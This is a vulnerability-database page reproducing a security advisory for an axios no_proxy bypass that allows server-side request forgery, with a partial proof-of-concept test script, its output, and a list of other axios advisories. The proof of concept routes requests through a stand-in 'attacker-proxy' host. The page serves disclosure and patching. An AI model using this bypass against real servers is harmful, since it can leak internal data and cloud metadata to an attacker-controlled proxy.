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Medium

Axios: no_proxy bypass via IP alias allows SSRF

  • Disclosed: 05.05.2026
  • Updated: 11.10.2026 10:22

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:

  • no_proxy=localhost does NOT block 127.0.0.1 or [::1]
  • no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package axios >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1

References

CVSS score 6.8/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness (CWE)
CWE-918
Platform
npm
Package
axios
Disclosed
05.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-m7pr-hjqh-92cm - CC BY 4.0

Vulnerability history: axios

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (55) in the archive
Total entries
55
First → latest
05.2019 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 25
  • Medium 28
  • Low 2

Disclosures per year

Severity:
  1. Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
    High CVE-2026-101905 >= 1.15.2, < 1.20.0 1.20.0
  2. Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
    High CVE-2026-101907 >= 1.17.0, < 1.20.0 1.20.0
  3. Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
    High CVE-2026-101903 >= 1.16.1, < 1.20.0 1.20.0
  4. Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
    High CVE-2026-101906 >= 1.15.0, < 1.20.0 1.20.0
  5. Axios: Prototype Pollution Gadget in axios toFormData Options
    High CVE-2026-101909 >= 0.28.0, < 0.34.0, >= 1.15.1, < 1.20.0 0.34.0, 1.20.0
  6. Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
    High CVE-2026-101898 >= 1.13.0, < 1.20.0 1.20.0
  7. Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
    High CVE-2026-101901 >= 1.13.0, < 1.20.0 1.20.0
  8. Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
    High CVE-2026-67320 >= 0.31.1, < 0.33.0, >= 1.15.2, < 1.18.0 0.33.0, 1.18.0
  9. Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
    High · 7.5 CVE-2026-44496 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  10. Allocation of Resources Without Limits or Throttling in Axios
    High · 7.5 CVE-2026-44488 >= 1.7.0, < 1.16.0 1.16.0
  11. Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
    High CVE-2026-44487 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  12. Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
    High · 7.5 CVE-2026-44486 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  13. axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
    High · 7.0 CVE-2026-44495 >= 1.0.0, < 1.15.2, >= 0.19.0, < 0.31.1 1.15.2, 0.31.1
  14. axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
    High · 8.7 CVE-2026-44494 >= 1.0.0, < 1.16.0 1.16.0
  15. axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
    High · 8.6 CVE-2026-44492 >= 1.15.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  16. Axios: no_proxy bypass via IP alias allows SSRF this entry
    Medium · 6.8 CVE-2026-42038 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  17. Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
    High · 7.4 CVE-2026-42033 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  18. Axios: Header Injection via Prototype Pollution
    High · 7.4 CVE-2026-42035 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  19. Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
    High · 7.2 CVE-2026-42043 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  20. Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
    High · 7.4 CVE-2026-42264 >= 1.0.0, < 1.15.2 1.15.2
Show more (6) Showing 20 of 26

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